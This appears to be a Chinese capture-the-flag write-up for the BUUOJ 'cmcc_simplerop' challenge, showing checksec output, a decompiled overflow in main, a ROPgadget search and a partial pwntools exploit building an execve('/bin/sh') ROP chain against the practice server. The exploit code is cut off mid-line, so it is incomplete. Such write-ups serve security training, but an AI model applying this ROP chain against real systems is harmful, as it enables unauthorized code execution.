cmcc_simplerop

cmcc_simplerop

Arch:     i386-32-little
RELRO:    Partial RELRO
Stack:    No canary found
NX:       NX enabled
PIE:      No PIE (0x8048000)

32位,开了NX

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int v4; // [esp+1Ch] [ebp-14h] BYREF

  puts("ROP is easy is'nt it ?");
  printf("Your input :");
  fflush(stdout);
  return read(0, &v4, 0x64);
}

栈溢出

文件特别大,实际内容却特别小,能联想到给了很多gadget了

思路

用ROPgadget自动生成,栈溢出打就可以了

	p =""
	p += pack('

但是ROPgadget自动生成,是136大小,但是只给写入100大小

所以我们需要改改这个gadget
后面的inc 都是给eax+1,+1我们直接合并成0xb

然后搜搜gadget

~/$ ROPgadget --binary pwn --only 'pop|ret' | grep 'edx'
0x0806e829 : pop ebx ; pop edx ; ret
0x0806e850 : pop edx ; pop ecx ; pop ebx ; ret
0x0806e82a : pop edx ; ret
0x0806e828 : pop esi ; pop ebx ; pop edx ; re

发现了一个pop edx ; pop ecx ; pop ebx ; ret

我们最后要执行的是execve(‘/bin/sh’,0,0)

这个刚好可以满足我们ebx,ecx,edx都有了

中间那里也可以缩短了

最后变成下面

#from pwn import*
#from Yapack import *
r,elf=rec("node4.buuoj.cn",26760,"./pwn",10)
context(os='linux', arch='i386',log_level='debug')
#debug('b *0x400893')
#debug('b *$rebase(0x1373)')
pop_edx_ecx_ebx=0x0806e850#pop edx ; pop ecx ; pop ebx ; ret

def pwn():
    from struct import pack

    # Padding goes here
    p = cyclic(0x20)
    p += pack('

在这里插入图片描述

你可能感兴趣的:(Buuoj刷题,安全)